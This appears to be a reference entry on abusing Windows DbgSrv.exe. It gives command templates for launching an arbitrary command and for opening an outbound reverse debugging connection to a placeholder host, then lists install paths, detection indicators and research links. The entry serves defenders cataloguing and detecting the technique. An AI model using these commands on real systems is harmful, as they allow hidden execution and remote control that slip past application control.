Command reference
Execute2
Creates a process server and launches the specified command using the DbgSrv.exe -c option.
dbgsrv.exe -t tcp:port=5005 -c {CMD}Establishes an outbound reverse connection from the DbgSrv process server to a remote debugging client using the clicon option. A connected debugging client can subsequently interact with processes through the remote debugging session.
dbgsrv.exe -t tcp:clicon={HOST},port={PORT}Known paths
C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\dbgsrv.exeC:\Program Files (x86)\Windows Kits\10\Debuggers\x86\dbgsrv.exeC:\Program Files\Debugging Tools for Windows (x64)\dbgsrv.exeC:\Program Files\Debugging Tools for Windows (x86)\dbgsrv.exeDetection & indicators
Indicators & detection notes
- IOC
DbgSrv.exe spawning a child process after execution with the -c option.
- IOC
DbgSrv.exe command lines containing -c, -pc, clicon=, or hidden.
- IOC
DbgSrv.exe establishing an unexpected outbound connection to an external host.
- IOC
DbgSrv.exe communicating over ports that are not approved for remote debugging.
- IOC
DbgSrv.exe executed from outside an expected Windows Kits or Debugging Tools directory.
- IOC
DbgSrv.exe spawning a command interpreter, script engine, or executable from a user-writable directory.
- IOC
A normally network-inactive process, such as notepad.exe, initiating an external connection shortly after DbgSrv.exe establishes a connection to the same host or infrastructure.
- IOC
DbgSrv.exe launched by explorer.exe on a system where interactive remote debugging is not expected.
Code samples
Research & resources
- READff08bc79 4cca 4bf8 b659 7025a99c443fgithub.com
- READ516github.com
- READdbgsrv command line optionslearn.microsoft.com
- READactivating a process serverlearn.microsoft.com
- READdebugger download toolslearn.microsoft.com
- READapplications that can bypass appcontrollearn.microsoft.com
- READblack hat detecting the unknown and disclosing a new attack techniqueredcanary.com
- READCode & research by analyticsearchgist.github.com